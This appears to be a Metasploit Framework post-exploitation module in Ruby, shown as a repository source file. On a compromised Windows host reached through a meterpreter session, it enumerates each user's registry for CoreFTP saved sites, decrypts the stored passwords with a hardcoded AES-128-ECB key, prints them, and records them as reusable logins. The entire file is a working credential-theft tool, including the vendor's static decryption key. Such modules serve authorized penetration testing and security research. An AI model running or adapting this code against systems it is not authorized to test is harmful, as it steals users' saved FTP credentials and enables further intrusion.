Brent Cook
100 lines
3.2 KiB
Ruby
100 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/auxiliary/report'
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows Gather CoreFTP Saved Password Extraction',
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'Description' => %q{
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This module extracts saved passwords from the CoreFTP FTP client. These
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passwords are stored in the registry. They are encrypted with AES-128-ECB.
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This module extracts and decrypts these passwords.
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},
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'License' => MSF_LICENSE,
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'Author' => ['theLightCosine'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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userhives=load_missing_hives()
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userhives.each do |hive|
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next if hive['HKU'] == nil
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print_status("Looking at Key #{hive['HKU']}")
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begin
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subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites")
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if subkeys.nil? or subkeys.empty?
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print_status("CoreFTP not installed for this user.")
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next
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end
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subkeys.each do |site|
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site_key = "#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites\\#{site}"
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host = registry_getvaldata(site_key, "Host") || ""
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user = registry_getvaldata(site_key, "User") || ""
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port = registry_getvaldata(site_key, "Port") || ""
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epass = registry_getvaldata(site_key, "PW")
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next if epass == nil or epass == ""
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pass = decrypt(epass)
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pass = pass.gsub(/\x00/, '') if pass != nil and pass != ''
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print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}")
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service_data = {
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address: host,
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port: port,
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service_name: 'ftp',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: self.refname,
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private_type: :password,
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private_data: pass,
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username: user
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}
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credential_data.merge!(service_data)
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# Create the Metasploit::Credential::Core object
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credential_core = create_credential(credential_data)
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# Assemble the options hash for creating the Metasploit::Credential::Login object
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login_data ={
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core: credential_core,
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status: Metasploit::Model::Login::Status::UNTRIED
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}
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# Merge in the service data and create our Login
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login_data.merge!(service_data)
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login = create_credential_login(login_data)
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end
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rescue
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print_error("Cannot Access User SID: #{hive['HKU']}")
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end
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end
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unload_our_hives(userhives)
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end
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def decrypt(encoded)
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cipher = [encoded].pack("H*")
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aes = OpenSSL::Cipher.new("AES-128-ECB")
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aes.padding = 0
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aes.decrypt
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aes.key = "hdfzpysvpzimorhk"
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password = (aes.update(cipher) + aes.final).gsub(/\x00/,'')
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return password
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end
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end
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